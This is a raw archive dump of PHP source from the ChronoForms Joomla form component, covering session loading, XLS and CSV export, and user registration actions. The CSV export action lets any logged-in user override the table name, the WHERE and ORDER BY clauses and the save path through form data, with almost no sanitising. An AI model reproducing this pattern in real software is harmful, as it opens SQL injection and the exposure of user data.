      input('action_session_to_data_{n}_namespace_config', array('type' => 'text', 'label' => 'Session Namespace', 'class' => 'medium_input', 'smalldesc' => 'The name space to save this session data at, may be useful if you need to save multiple data instances of the same form without being overwritten, leave empty if you dont know what is this.')); ?> input('action_session_to_data_{n}_key_config', array('type' => 'text', 'label' => 'Session Key', 'class' => 'medium_input', 'smalldesc' => 'Load the data stored under this key, leave empty if you did not enter a key in the Data to Session action, it will use the form name by default.')); ?> input('action_session_to_data_{n}_clear_config', array('type' => 'select', 'label' => 'Clear after', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => "Should this session data get cleared after the load.")); ?>
      PK@y>\ Bcomponents/com_chronoforms/form_actions/session_to_data/index.htmlnuW+A PK@y>\Kcomponents/com_chronoforms/form_actions/session_to_data/session_to_data.phpnuW+A 'data_operations', 'title' => 'Data/DB Operations'); var $details = array('title' => 'Session To Data', 'tooltip' => 'Load the form data array values from session.'); function run($form, $actiondata){ $params = new JParameter($actiondata->params); $mainframe = JFactory::getApplication(); $session = JFactory::getSession(); $session_ns = $params->get('namespace', ''); $session_key = $params->get('key', ''); if(empty($session_key)){ $session_key = $form->form_details->name; } if(empty($session_ns)){ $session_ns = 'default'; } $form->data = array_merge($form->data, $session->get('_chronoform_data_'.$session_key, array(), $session_ns)); //clear the session if the clear option is set to yes if((int)$params->get('clear', 0) == 1){ $session->clear('_chronoform_data_'.$session_key, $session_ns); } } function load($clear){ if($clear){ $action_params = array( 'namespace' => '', 'key' => '', 'clear' => 0 ); } return array('action_params' => $action_params); } } ?>PK@y>\R|j =components/com_chronoforms/form_actions/xls_export/index.htmlnuW+A PK@y>\)<components/com_chronoforms/form_actions/xls_export/.htaccessnuW+A Order allow,deny Deny from all PK@y>\e*qAcomponents/com_chronoforms/form_actions/xls_export/xls_export.phpnuW+A 'data_export', 'title' => 'Data Export'); var $details = array('title' => 'XLS Export', 'tooltip' => 'Exports the data to XLS sheet (Actually HTML) which is supported by MS Excel.'); function run($form, $actiondata){ $mainframe = JFactory::getApplication(); $session = JFactory::getSession(); $params = new JParameter($actiondata->params); $data_path = trim($params->get('data_path', '')); $data = $form->get_array_value($form->data, explode('.', $data_path)); if(!empty($data) && is_array($data)){ $data = array_values($data); $first_data_record = $data[0]; $list_fields = strlen(trim($params->get('list_fields', ''))) ? explode(',', trim($params->get('list_fields', ''))) : array_keys($first_data_record); $list_headers = strlen(trim($params->get('list_headers', ''))) ? explode(',', trim($params->get('list_headers', ''))) : array_keys($first_data_record); $table_rows = ''; //add headers $table_rows .= ''."\n"; foreach($list_headers as $k => $v){ $table_rows .= ''.$v.''."\n"; } $table_rows .= ''."\n"; //add data rows foreach($data as $record){ $table_rows .= ''."\n"; foreach($record as $k => $v){ if(!in_array($k, $list_fields)){ continue; } $table_rows .= ''.$v.''."\n"; } $table_rows .= ''."\n"; } //finalize table $excel_table = "".$table_rows."
      "; if($params->get('save_file', 0) == 1){ $save_path = JPATH_SITE.DS.'components'.DS.'com_chronoforms'.DS.'exports'.DS.$form->form_details->name.DS; jimport('joomla.filesystem.file'); if (!JFile::exists($save_path.'index.html')){ if(!JFolder::create($save_path)){ $form->debug['XLS Export'][] = "Couldn't create save folder: {$save_path}"; JError::raiseWarning(100, "Couldn't create save folder: {$save_path}"); return; } } if((bool)$params->get('add_bom', 0) === true){ $excel_table = "\xEF\xBB\xBF".$excel_table; } $file_name = $params->get('file_name', 'cf_export.xls'); $saved = file_put_contents($save_path.$file_name, $excel_table); if(empty($saved)){ $form->debug['XLS Export'][] = "Couldn't create XLS file"; JError::raiseWarning(100, "Couldn't create XLS file"); return; } if(strlen($params->get('post_file_name', '')) > 0){ $post_file_name = $params->get('post_file_name', ''); $form->data[$post_file_name] = $file_name; $form->files[$post_file_name] = array('name' => $file_name, 'path' => $save_path.$file_name, 'size' => filesize($save_path.$file_name)); //$form->files[$post_file_name]['link'] = $save_url.$file_name; } }else{ //set headers header("Pragma: public"); header("Expires: 0"); header("Cache-Control: must-revalidate, post-check=0, pre-check=0"); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download");; header("Content-Disposition: attachment;filename=".$params->get('file_name', 'cf_export.xls')); header("Content-Transfer-Encoding: binary"); header('Content-Encoding: UTF-8'); //output data if((bool)$params->get('add_bom', 0) === true){ echo "\xEF\xBB\xBF"; } echo $excel_table; $mainframe = JFactory::getApplication(); $mainframe->close(); } } } function load($clear){ if($clear){ $action_params = array( 'content1' => '', 'enabled' => 1, 'data_path' => '', 'list_fields' => '', 'list_headers' => '', 'add_bom' => 0, 'save_file' => 0, 'post_file_name' => '', 'file_name' => 'cf_export.xls', ); } return array('action_params' => $action_params); } } ?>PK@y>\oQ//Acomponents/com_chronoforms/form_actions/xls_export/xls_export.ctpnuW+A
      XLS Export
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'xls_export_config_{n}'); ?> tabStart('settings'); ?> input('action_xls_export_{n}_data_path_config', array('type' => 'text', 'label' => 'Data Path', 'class' => 'medium_input', 'smalldesc' => 'The path to the Data list in the $form->data array, e.g: MODEL_ID')); ?> input('action_xls_export_{n}_list_fields_config', array('type' => 'text', 'label' => 'Fields list', 'class' => 'big_input', 'smalldesc' => 'Comma separated list of fields to be included, no spaces, leave empty and all fields will be added.')); ?> input('action_xls_export_{n}_list_headers_config', array('type' => 'text', 'label' => 'Headers list', 'class' => 'big_input', 'smalldesc' => 'Comma separated list of headers labels to be included, no spaces, leave empty and data list keys will be used.')); ?> input('action_xls_export_{n}_add_bom_config', array('type' => 'select', 'label' => 'Add BOM', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Add the UTF-8 BOM characters to the output ? this helps MS Excel detect the file as UTF-8 if you have any special characters inside.')); ?> input('action_xls_export_{n}_file_name_config', array('type' => 'text', 'label' => 'File Name', 'class' => 'medium_input', 'smalldesc' => 'The export file name.')); ?> input('action_xls_export_{n}_save_file_config', array('type' => 'select', 'label' => 'Save File', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Should we save the file instead of sending it for download ?')); ?> input('action_xls_export_{n}_post_file_name_config', array('type' => 'text', 'label' => 'Post field Name', 'class' => 'medium_input', 'smalldesc' => 'The saved file field name which can be used in the email attachments.')); ?> tabEnd(); ?> tabStart('help'); ?>

      • The action will generate XLS file contains HTML table which is importable by MS Excel (tested on Excel 2003,2007 and 2010).
      • The records list array should be in your $form->data array, using a DB Multi record loader for example.

      tabEnd(); ?>
      PK@y>\@components/com_chronoforms/form_actions/csv_export_gh/index.htmlnuW+APK@y>\" ==Gcomponents/com_chronoforms/form_actions/csv_export_gh/csv_export_gh.ctpnuW+A
      CSV Export [GH]
      Header(array('settings' => 'Settings', 'download' => 'Download', 'mysql' => 'MySQL', 'columns' => 'Columns', 'help' => 'Help'), 'csv_export_gh_config_{n}'); echo $PluginTabsHelper->tabStart('settings'); $database = JFactory::getDBO(); $tables = $database->getTableList(); $options = array(); foreach($tables as $table){ $options[$table] = $table; } echo $HtmlHelper->input('action_csv_export_gh_{n}_table_name_config', array( 'type' => 'select', 'label' => 'Table', 'options' => $options, 'empty' => " - ", 'class' => 'medium_input', 'smalldesc' => 'The table to be used for the export.' ) ); echo $HtmlHelper->input('action_csv_export_gh_{n}_data_path_config', array( 'type' => 'text', 'label' => "Data path", 'class' => 'medium_input', 'value' => '', 'smalldesc' => 'The path to the data list in the form->data array, use this if you already have the data in your form data array through a DBMRL action for example. e.g. MODEL_ID' )); echo $HtmlHelper->input('action_csv_export_gh_{n}_save_path_config', array( 'type' => 'text', 'label' => "Save path", 'class' => 'big_input', 'value' => '', 'smalldesc' => 'The path to the folder where the csv file will be saved e.g. '.JPATH_SITE.DS.'components'.DS.'com_chronocontact'.DS.'exports'.DS )); echo $HtmlHelper->input('action_csv_export_gh_{n}_file_name_config', array( 'type' => 'text', 'label' => "File name", 'class' => 'big_input', 'value' => '', 'smalldesc' => 'The name of the csv file. You may include valid input values as {input_name}' )); echo $HtmlHelper->input('action_csv_export_gh_{n}_post_file_name_config', array( 'type' => 'text', 'label' => "Post File name", 'class' => 'medium_input', 'value' => '', 'smalldesc' => 'The name of the post data/files arrays key under which the CSV file data will exist (in case the file is saved to the server)' )); echo $HtmlHelper->input('action_csv_export_gh_{n}_delimiter_config', array( 'type' => 'text', 'label' => "Delimiter", 'class' => 'small_input', 'value' => '', 'smalldesc' => 'The delimiter to be used for the CSV file, a single character only, defaults to comma ,. Use ##tab## for a tab character.' )); echo $HtmlHelper->input('action_csv_export_gh_{n}_enclosure_config', array( 'type' => 'text', 'label' => "Enclosure", 'class' => 'small_input', 'value' => '', 'smalldesc' => 'The enclosure to be used for the CSV file, a single character only, defaults to double quote "' )); echo $PluginTabsHelper->tabEnd(); echo $PluginTabsHelper->tabStart('download'); echo $HtmlHelper->input('action_csv_export_gh_{n}_download_export_config', array( 'type' => 'checkbox', 'label' => 'Immediate download', 'class' => 'checkbox', 'value' => '1', 'rule' => 'bool', 'smalldesc' => 'If you check this box then the file will be downloaded immediately and your form or thank you page will not be displayed.' ) ); echo $HtmlHelper->input('action_csv_export_gh_{n}_download_nosave_config', array( 'type' => 'checkbox', 'label' => 'Do not save the file on the server', 'class' => 'checkbox', 'value' => '1', 'rule' => "bool", 'smalldesc' => 'If you check this box then the file will be created in the server memory and downloaded immediately.' ) ); echo $HtmlHelper->input('action_csv_export_gh_{n}_download_mime_type_config', array( 'type' => 'checkbox', 'label' => 'Set mime type to \'octet\'', 'class' => 'checkbox', 'value' => '1', 'rule' => 'bool', 'smalldesc' => 'If you check this box then the file type will be set to \'application/octet-stream\' instead of \'text/csv\'.' ) ); echo $PluginTabsHelper->tabEnd(); echo $PluginTabsHelper->tabStart('mysql'); echo $HtmlHelper->input('action_csv_export_gh_{n}_where_config', array( 'type' => 'text', 'label' => "MySQL WHERE clause", 'class' => 'big_input', 'value' => '', 'smalldesc' => 'A valid MySQL WHERE clause to filter the results.' )); echo $HtmlHelper->input('action_csv_export_gh_{n}_order_by_config', array( 'type' => 'text', 'label' => "MySQL ORDER BY clause", 'class' => 'big_input', 'value' => '', 'smalldesc' => 'A valid MySQL ORDER BY clause to sort the results.' )); echo $PluginTabsHelper->tabEnd(); echo $PluginTabsHelper->tabStart('columns'); echo $HtmlHelper->input('action_csv_export_gh_{n}_include_config', array( 'type' => 'text', 'label' => "Include columns", 'class' => 'big_input', 'value' => '', 'smalldesc' => 'You can enter a comma separated list of column names to be exported' )); echo $HtmlHelper->input('action_csv_export_gh_{n}_exclude_config', array( 'type' => 'text', 'label' => "Exclude columns", 'class' => 'big_input', 'value' => '', 'smalldesc' => 'You can enter a comma separated list of column names *not* to be exported' )); echo $HtmlHelper->input('action_csv_export_gh_{n}_add_titles_config', array( 'type' => 'checkbox', 'label' => 'Add Titles', 'class' => 'checkbox', 'value' => '1', 'rule' => 'bool', 'smalldesc' => 'If you check this box then the titles will be added to the first row in the output file.' ) ); echo $HtmlHelper->input('action_csv_export_gh_{n}_content1_config', array( 'type' => 'textarea', 'label' => "Column details", 'rows' => 20, 'cols' => 70, 'smalldesc' => 'For each database column to be exported add a new row using Column Title=column_name e.g. ID=id or User Name=name or Visible From=created_date. If you make any entry here then only columns included here will be exported; any \included\' or \'excluded\' entries above will be ignored.' )); echo $PluginTabsHelper->tabEnd(); echo $PluginTabsHelper->tabStart('help'); $style = " div.tabs-panel { font-size: 100%; } div.tabs-panel tt{ font-size: 120%; } "; $doc = JFactory::getDocument(); $doc->addStyleDeclaration($style); ?>
      This action helps you export some or all of the entries from a database table into a CSV file that can be downloaded and used for other purposes.

      Settings

      • Select the Database table that you want to export data from. This is the only required input in the configuration.
      • Enter a valid full path to the folder where the csv file should be saved. You may use form inputs e.g. {input_name} in the path*.
        Defaults to
      • Enter a name for the file to be saved. You may use form inputs e.g. {input_name} in the file name*. The file suffix will be .csv, if this isn't set here it will be added after any existing suffix.
        Defaults to csv_export_{$table_name}_{datetime}.csv
      • You can set values for the path or file name by creating file inputs with appropriate values. If {form_path} or {file_name} are set before this action in the form data or in a Custom Code action those values will replace any entries here.
      • You can set a delimiter that will be placed between each value in a row. The default is a comma value1,value2. Use ##tab## for a tab delimited file.
      • You can set an enclosure character that will be used to enclose individual values where necessary. The default is a double quote "value 1".

      Downloads

      • The checkboxes on this tab allow you to control the way your file is downloaded.
      • If you leave them all un-checked then the file will be saved to the server and you can use the entries added to the $form_>data array to display or email a download link or to leave the file for future reference.
      • If you check the 'Immediate download' then the form will be downloaded when the either the form (if the action is in the On Load event) or the Thank You page loads. The file is still saved to the server but the download will act as a 'Show stopper' and no further actions will run.
      • If you check the 'No Save' checkbox then the form will be downloaded when the either the form (if the action is in the On Load event) or the Thank You page loads. The file is not saved to the server. In this case the file is created in memory if it is less than 5Mb,or in a temporary file if it is larger than this. This may be useful if you do not want to save the files, or if you have limited permission on the server.
      • If you check the 'Set mimtype to 'octet'' checkbox then the form will be downloaded with a type of 'application/octet-stream' instead of 'text/csv'. This may be useful if you want to prevent the file diplaying in the browser.

      MySQL

      This tab allows you to specify the records to be exported and the order of the export. Both use standard MySQL syntax.
      • The MySQL WHERE clause will take a valid WHERE clause to filter the result to be exported e.g. `id` < 25 The word WHERE is optional.
      • The MySQL ORDER BY clause will take a valid ORDER BY clause to sort the results to be exported e.g. `id` DESC The words ORDER BY are optional.
      Paths and file names can include the special {table_name}, {datetime} and {rand} values. The value {datetime} inserts string in the form 'YmdHi' e.g. 201105101543; {rand} inserts a six digit random number e.g. 857943.

      Columns

      This tab offers two different ways to specify the columns to be exported. You may leave all the boxes empty in which case all the columns will be exported in the order they appear in the table and the column names will be shown in the first row of the exported file.
      • In the Include Columns box you can enter a comma separated list of columns to be included. If there is an entry here only these columns will be exported, and the order of columns will be the order of this list.
      • In the Exclude Columns box you can enter a comma separated list of columns to be excluded. If the Include Columns box is empty all columns except these will be exported. If there are entries in the Included Columns box then any columns shown here will be removed from that list.
      • The column Details box overrides the Included and Excluded lists; if there are any entries here then they will be ignored. You can enter any number of rows here each of which specifies one column to be exported. Each row takes the form Column Title=column_name. The Column Title will be shown in the first row of the exported file and the columns will be exported in the order that they are shown here. You can also add valid MySQL clauses in the place of the column_name e.g. Column Title=`value` + 7. If a row has no = character then the entry will be used for both the Column Title and the Column Name e.g. Languages.
        Note: take care with these entries, they are very flexible but are not verified and mistakes may break the export.

      Results

      The Action generates several outputs: a file saved to the server in the specified folder; and three new form data items {csv_link}, {csv_count} and {csv_size}. These give you a full URL for the new file and the number of records exported. You can use these in later actions like Emails or Thank You messages to allow access to the file.
      You can use the success (or fail) events to do whatever you need after the response is processed.
      tabEnd(); ?>
      PK@y>\b9ez.z.Gcomponents/com_chronoforms/form_actions/csv_export_gh/csv_export_gh.phpnuW+A 'data_export', 'title' => 'Data Export'); var $events = array('success' => 0, 'fail' => 0); var $details = array('title' => 'CSV Export [GH]', 'tooltip' => 'Exports selected records from a table to a CSV file'); function load($clear) { if ( $clear ) { $action_params = array( 'table_name' => '', 'include' => '', 'exclude' => '', 'save_path' => '', 'file_name' => '', 'delimiter' => '', 'enclosure' => '', 'download_mime_type' => '', 'download_export' => '', 'download_nosave' => '', 'where' => '', 'data_path' => '', 'add_titles' => 1, 'post_file_name' => '', 'order_by' => '', 'content1' => '' ); } return array('action_params' => $action_params); } function run($form, $actiondata) { $mainframe = JFactory::getApplication(); $params = new JParameter($actiondata->params); $user = JFactory::getUser(); jimport('joomla.filesystem.file'); $variables = array( 'table_name', 'include', 'exclude', 'save_path', 'file_name', 'delimiter', 'enclosure', 'download_export', 'download_mime_type', 'download_nosave', 'where', 'order_by' ); foreach ( $variables as $v ) { $$v = trim($params->get($v)); // Allow over-ride from form data for registered users if ( $user->id ) { if ( isset($form->data[$v]) && $form->data[$v] ) { $$v = $form->data[$v]; } } } $form->debug['CSV Export'][] = '$download_export: '.print_r($download_export, true); $form->debug['CSV Export'][] = '$download_nosave: '.print_r($download_nosave, true); $columns = $actiondata->content1; $columns = $this->paramsToArray($columns, 'Columns'); $curly_array = array( 'form_name' => $form->form_details->name, 'table_name' => $table_name, 'random' => rand(111111, 999999), 'datetime' => date('YmdHi') ); if ( $download_nosave ) { $form->debug['CSV Export'][] = 'Download \'No Save\' is set so no folder is created.'; } else { if ( $save_path ) { $save_path = $form->curly_replacer($save_path, array_merge($form->data, $curly_array)); $save_path = str_replace(array("/", "\\"), DS, $save_path).DS; $save_path = str_replace(DS.DS, DS, $save_path); } else { $save_path = JPATH_SITE.DS.'components'.DS.'com_chronoforms'.DS.'exports'.DS.$form->form_details->name.DS; } if ( !JFile::exists($save_path.'index.html') ) { if (!JFolder::create($save_path) ) { $form->debug['CSV Export'][] = "Couldn't create save folder: {$save_path}"; JError::raiseWarning(100, "Couldn't create save folder: {$save_path}"); $this->events['fail'] = 1; return; } } $form->debug['CSV Export'][] = 'Save folder is:
      '.$save_path; $form->debug['CSV Export'][] = '$download_export: xxx'; $form->debug['CSV Export'][] = '$download_export: '.print_r($download_export, true); $buffer = ""; if ( !JFile::write($save_path.'index.html', $buffer) ) { $form->debug['CSV Export'][] = "Couldn't write to save folder: {$save_path}"; JError::raiseWarning(100, "Couldn't write to save folder: {$save_path}"); $this->events['fail'] = 1; return; } } if ( $file_name ) { $file_name = $form->curly_replacer($file_name, array_merge($form->data, $curly_array)); } else { $file_name = "csv_export_{$table_name}_".date('YmdHi').".csv"; } if ( JFile::getExt($file_name) != 'csv' || JFile::getExt($file_name) == $file_name ) { $file_name .= '.csv'; } $form->debug['CSV Export'][] = 'File name is:
      '.$file_name; // get the data to export $db = JFactory::getDBO(); $titles = array(); if(strlen(trim($params->get('data_path', ''))) == 0){ $fields_array = $db->getTableFields($table_name); $fields_array = array_keys($fields_array[$table_name]); if ( is_array($columns) && count($columns) ) { $include = array(); foreach ( $columns as $k => $v ) { $titles[] = $k; $include[] = $v; } $include = implode(', ', $include); $exclude = array(); } else { if ( $exclude ) { $exclude = explode(',', $exclude); foreach ( $exclude as $k => $v ) { $exclude[$k] = trim($v); } } else { $exclude = array(); } if ( $include ) { $include = explode(',', $include); // check the columns and drop any that are 'excluded' // or are not in the table columns list. foreach ( $include as $k => $v ) { $v = trim($v); if ( in_array($v, $exclude) || !in_array($v, $fields_array) ) { unset($include[$k]); continue; } $include[$k] = $db->nameQuote(trim($v)); } $include = implode(', ', $include); $exclude = array(); } elseif ( count($exclude) ) { $include = array(); foreach ( $fields_array as $k => $v ) { if ( !in_array($v, $exclude) ) { $include[] = $db->nameQuote(trim($v)); } } $include = implode(', ', $include); } else { $include = '*'; } } if ( $where ) { // strip off anything after a ; $sc_found = strpos($where, ';'); if ( $sc_found ) { $where = substr($where, 0, $sc_found); } // clean up WHERE $where = str_ireplace('where ', '', $where); $where = 'WHERE '.$where; } if ( $order_by ) { // strip off anything after a ; $sc_found = strpos($order_by, ';'); if ( $sc_found ) { $order_by = substr($order_by, 0, $sc_found); } // clean up ORDER BY $order_by = str_ireplace("ORDER BY ", '', $order_by); $order_by = 'ORDER BY '.$order_by; } $query = " SELECT {$include} FROM `{$table_name}` {$where} {$order_by}; "; $form->debug['CSV Export'][] = '$query: '.print_r($query, true); } $data = array(); if(trim($params->get('data_path', ''))){ $data_found = $form->get_array_value($form->data, explode('.', trim($params->get('data_path', '')))); if(!empty($data_found) && is_array($data_found)){ //check if this is an indexed array if($data_found === array_values($data_found)){ $data = $data_found; } } }else{ $db->setQuery($query); $data = $db->loadAssocList(); } if ( !count($data) ) { $this->events['fail'] = 1; $form->validation_errors['CSV Export'] = 'No records were found to export.'; return; } $form->debug['CSV Export'][] = count($data).' records were found to export.'; // drop excluded columns if all were selected if ( !count($columns) && is_array($exclude) && count($exclude) ) { $exclude = array_flip($exclude); foreach ( $data as $k => $v ) { $data[$k] = array_diff_key($data[$k], $exclude); } } if ( $delimiter == '##tab##' ) { $delimiter = chr(9); } elseif ( $delimiter == '##squote##' ) { $delimiter = chr(39); } elseif ( $delimiter ) { $delimiter = substr($delimiter, 0, 1); } else { $delimiter = ','; } if ( $enclosure ) { $enclosure = substr($enclosure, 0, 1); } else { $enclosure = '"'; } // Build titles array if ( !count($titles) ) { $titles = array_keys($data[0]); } $output = ''; if ( $download_nosave ) { // output up to 5MB is kept in memory, if it becomes bigger // it will automatically be written to a temporary file $csv = fopen('php://temp/maxmemory:'. (5*1024*1024), 'r+'); if((bool)$params->get('add_titles', 1) === true){ fputcsv($csv, $titles); } foreach ( $data as $d ) { fputcsv($csv, $d, $delimiter, $enclosure); } rewind($csv); // put it all in a variable $output = stream_get_contents($csv); $filesize = strlen($output); } else { // Open file for writing $file = fopen($save_path.$file_name, 'w'); if ( $file === false ) { $form->validation_errors['CSV Export'] = 'Unable to open the file.'; return; } if((bool)$params->get('add_titles', 1) === true){ fputcsv($file, $titles); } // add data rows to the file foreach ( $data as $d ) { fputcsv($file, $d, $delimiter, $enclosure); } fclose($file); // Get file URL and save to the form data $save_url = str_replace(JPATH_SITE.DS, JURI::root(), $save_path); $save_url = str_replace(DS, '/', $save_url); $form->debug['CSV Export'][] = 'Save link is:
      '.$save_url.$file_name; $form->data['csv_link'] = $save_url.$file_name; $form->data['csv_count'] = count($data); $filesize = filesize($save_path.$file_name); $form->data['csv_size'] = $filesize/1000; if ( $form->data['csv_size'] > 0 && $form->data['csv_size'] < 1 ) { $form->data['csv_size'] = number_format($form->data['csv_size'], 1); } else { $form->data['csv_size'] = number_format($form->data['csv_size'], 0); } //add details under the post file name if(!$download_nosave && (strlen(trim($params->get('post_file_name', ''))) > 0)){ $post_file_name = $params->get('post_file_name', ''); $form->data[$post_file_name] = $file_name; $form->files[$post_file_name] = array('name' => $file_name, 'path' => $save_path.$file_name, 'size' => $form->data['csv_size']); $form->files[$post_file_name]['link'] = $save_url.$file_name; } $form->debug['CSV Export'][] = 'File size is: '.$form->data['csv_size'].' kb'; } if ( $download_export || $download_nosave ) { // if Immediate download is checked jimport('joomla.environment.browser'); $browser = JBrowser::getInstance(); switch ($browser->getBrowser() ) { case 'msie': $inline = 'inline'; $pragma = 'public'; break; default: $inline = 'attachment'; $pragma = 'no-cache'; break; } $mimetype = 'text/csv'; if ( $download_mime_type ) { switch ($browser->getBrowser() ) { case 'msie': $mimetype = 'application/octetstream'; case 'opera': $mimetype = 'application/octetstream'; break; default: $mimetype = 'application/octet-stream'; break; } } @ob_end_clean(); ob_start(); header("Content-Type: {$mimetype}; charset=UTF-8"); header('Expires: '.gmdate('D, d M Y H:i:s').' GMT'); header("Content-Disposition: {$inline}; filename={$file_name}"); header("Content-Length: ".$filesize); if ( $browser->getBrowser() == 'msie' ) { header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); } header("Pragma: {$pragma}"); ob_clean(); flush(); if ( $download_nosave ) { print($output); } else { readfile($save_path.$file_name); } exit(); } } function paramsToArray($params='', $name='Parameter') { if ( !$params ) { return false; } $list = explode("\n", trim($params)); $return = array(); foreach ( $list as $item ) { $item = trim($item); if ( !$item ) { $form->debug['Export CSV [GH]'][] = "Empty string found in the {$name} box"; continue; } $fields_data = explode("=", $item, 2); if ( !isset($fields_data[1]) || !$fields_data[1] ) { $fields_data[1] = $fields_data[0]; } $param = trim($fields_data[0]); $value = trim($fields_data[1]); $return[$param] = $value; } return $return; } } ?>PK@y>\)?components/com_chronoforms/form_actions/csv_export_gh/.htaccessnuW+A Order allow,deny Deny from all PK@y>\%[$[$Scomponents/com_chronoforms/form_actions/joomla_registration/joomla_registration.ctpnuW+A
      Joomla User Registration
      Header(array('fields' => 'Fields', 'settings' => 'Settings', 'cb' => 'CB', 'help' => 'Help'), 'joomla_registration_config_{n}'); ?> tabStart('fields'); ?> input('action_joomla_registration_{n}_name_config', array('type' => 'text', 'label' => 'Name field name', 'class' => 'medium_input', 'smalldesc' => 'The name of the field which is going to hold the Name data')); ?> input('action_joomla_registration_{n}_username_config', array('type' => 'text', 'label' => 'Username field name', 'class' => 'medium_input', 'smalldesc' => 'The name of the field which is going to hold the Username data')); ?> input('action_joomla_registration_{n}_email_config', array('type' => 'text', 'label' => 'Email field name', 'class' => 'medium_input', 'smalldesc' => 'The name of the field which is going to hold the Email data')); ?> input('action_joomla_registration_{n}_password_config', array('type' => 'text', 'label' => 'Password field name', 'class' => 'medium_input', 'smalldesc' => 'The name of the field which is going to hold the Password data')); ?> input('action_joomla_registration_{n}_password2_config', array('type' => 'text', 'label' => 'Verify Password field name', 'class' => 'medium_input', 'smalldesc' => 'The name of the field which is going to hold the Verify Password data')); ?> tabEnd(); ?> tabStart('settings'); ?> input('action_joomla_registration_{n}_override_allow_user_registration_config', array('type' => 'select', 'label' => 'Override the Joomla Allow user registration', 'label_over' => true, 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Its advised that you disable the Joomla allow user registration setting and enable this one so that users are forced to register here.')); ?> setQuery($query); $options = array(); $groups = $database->loadObjectList(); foreach($groups as $group){ $options[$group->id] = $group->title; } ?> input('action_joomla_registration_{n}_new_usertype_config', array('type' => 'select', 'label' => 'Usertype', 'options' => $options, 'size' => 6, 'multiple' => 'multiple', 'rule' => "split", 'splitter' => ",", 'smalldesc' => 'The new user type/group.')); ?> input('action_joomla_registration_{n}_useractivation_config', array('type' => 'select', 'label' => 'User activation', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Should the user require activation ?')); ?> input('action_joomla_registration_{n}_send_joo_activation_config', array('type' => 'select', 'label' => 'Send activation', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => "Send Joomla's activation email after registration ?")); ?> input('action_joomla_registration_{n}_activation_link_config', array('type' => 'text', 'label' => 'Activation Link', 'class' => 'big_input', 'smalldesc' => 'Use this ONLY if your "Allow User Registration" is set to "NO" in the Joomla Users Manager, add a link to a form event with the "Joomla User Activation" action.')); ?> input('action_joomla_registration_{n}_random_password_config', array('type' => 'select', 'label' => 'Random Password', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Generate Random password for the user ? if yes then you do not have to supply password/verify password fields.')); ?> input('action_joomla_registration_{n}_auto_login_config', array('type' => 'select', 'label' => 'Auto Login', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Auto Login the user after registration ?')); ?> input('action_joomla_registration_{n}_display_reg_complete_config', array('type' => 'select', 'label' => 'Display status', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Display the Joomla registration status message after successfull one ?')); ?> input('action_joomla_registration_{n}_user_data_path_config', array('type' => 'text', 'label' => 'User Data Path', 'class' => 'medium_input', 'smalldesc' => 'The data array path under which the created user data will be set.')); ?> tabEnd(); ?> tabStart('cb'); ?> input('action_joomla_registration_{n}_enable_cb_support_config', array('type' => 'select', 'label' => 'Enable CB Support', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Enable Community Builder support, this will save the data to community builder table, your form fields names should match the CB fields names definded for registration.')); ?> tabEnd(); ?> tabStart('help'); ?>

      • Assign your form field's names to the required fields names under the "Fields" tab.
      • Configure the settings under the "Settings" tab.

      tabEnd(); ?>
      PK@y>\)Ecomponents/com_chronoforms/form_actions/joomla_registration/.htaccessnuW+A Order allow,deny Deny from all PK@y>\\-\-Scomponents/com_chronoforms/form_actions/joomla_registration/joomla_registration.phpnuW+A 'joomla_functions', 'title' => 'Joomla Functions'); var $events = array('success' => 0, 'fail' => 0); var $details = array('title' => 'Joomla Registration', 'tooltip' => 'Replace your Joomla frontend registration feature using this action.'); var $params = null; function run($form, $actiondata){ $this->params = $params = new JParameter($actiondata->params); $mainframe = JFactory::getApplication(); //set activation link if(trim($this->params->get('activation_link', '')) == ''){ $this->params->set('activation_link', 'index.php?option=com_users&task=registration.activate'); } // Get required system objects $user = clone(JFactory::getUser()); $pathway = $mainframe->getPathway(); $config = JFactory::getConfig(); $authorize = JFactory::getACL(); $document = JFactory::getDocument(); $language = JFactory::getLanguage(); $language->load('com_users'); // If user registration is not allowed, show 403 not authorized. $usersConfig = &JComponentHelper::getParams( 'com_users' ); if($usersConfig->get('allowUserRegistration') == '0' && !$params->get('override_allow_user_registration', 0)){ JError::raiseError( 403, JText::_( 'Access Forbidden' )); return; } // Initialize new usertype setting $userConfig = JComponentHelper::getParams('com_users'); // Default to Registered. $defaultUserGroup = $params->get('new_usertype', ''); if(empty($defaultUserGroup)){ $defaultUserGroup = $userConfig->get('new_usertype', array(2)); }else{ $_groups = explode(",", trim($defaultUserGroup)); $defaultUserGroup = array(); foreach($_groups as $_group){ $defaultUserGroup[] = (int)$_group; } } //set the post fields values $form->data['name'] = $form->data($params->get('name', ''), ''); $form->data['username'] = $form->data($params->get('username', ''), ''); $form->data['email'] = $form->data($params->get('email', ''), ''); $form->data['password'] = $form->data($params->get('password', ''), ''); $form->data['password2'] = $form->data($params->get('password2', ''), ''); //generate the random pass if enabled if((int)$params->get('random_password', 0) == 1){ jimport('joomla.user.helper'); $random_pass = JUserHelper::genRandomPassword(); $form->data['password'] = $random_pass; $form->data['password2'] = $random_pass; } //check empty fields $checks = array('name', 'username', 'email', 'password'); foreach($checks as $check){ if(!trim($form->data[$check])){ $this->events['fail'] = 1; $form->validation_errors[$params->get($check)] = 'You must provide your '.$check.'.'; //return false; } } if($this->events['fail'] == 1){ return false; } //check the 2 passwords if($form->data['password'] != $form->data['password2']){ $this->events['fail'] = 1; $form->validation_errors[$params->get('password2')] = 'Passwords do NOT match.'; $form->debug[] = "Couldn't create new user, Passwords do NOT match."; return false; } // Bind the post array to the user object $post_data = $form->data; if(!$user->bind($post_data, 'usertype')){ //JError::raiseError( 500, $user->getError()); $this->events['fail'] = 1; $form->validation_errors[] = $user->getError(); $form->debug[] = "Couldn't bind new user, Joomla returned this error : ".$user->getError(); 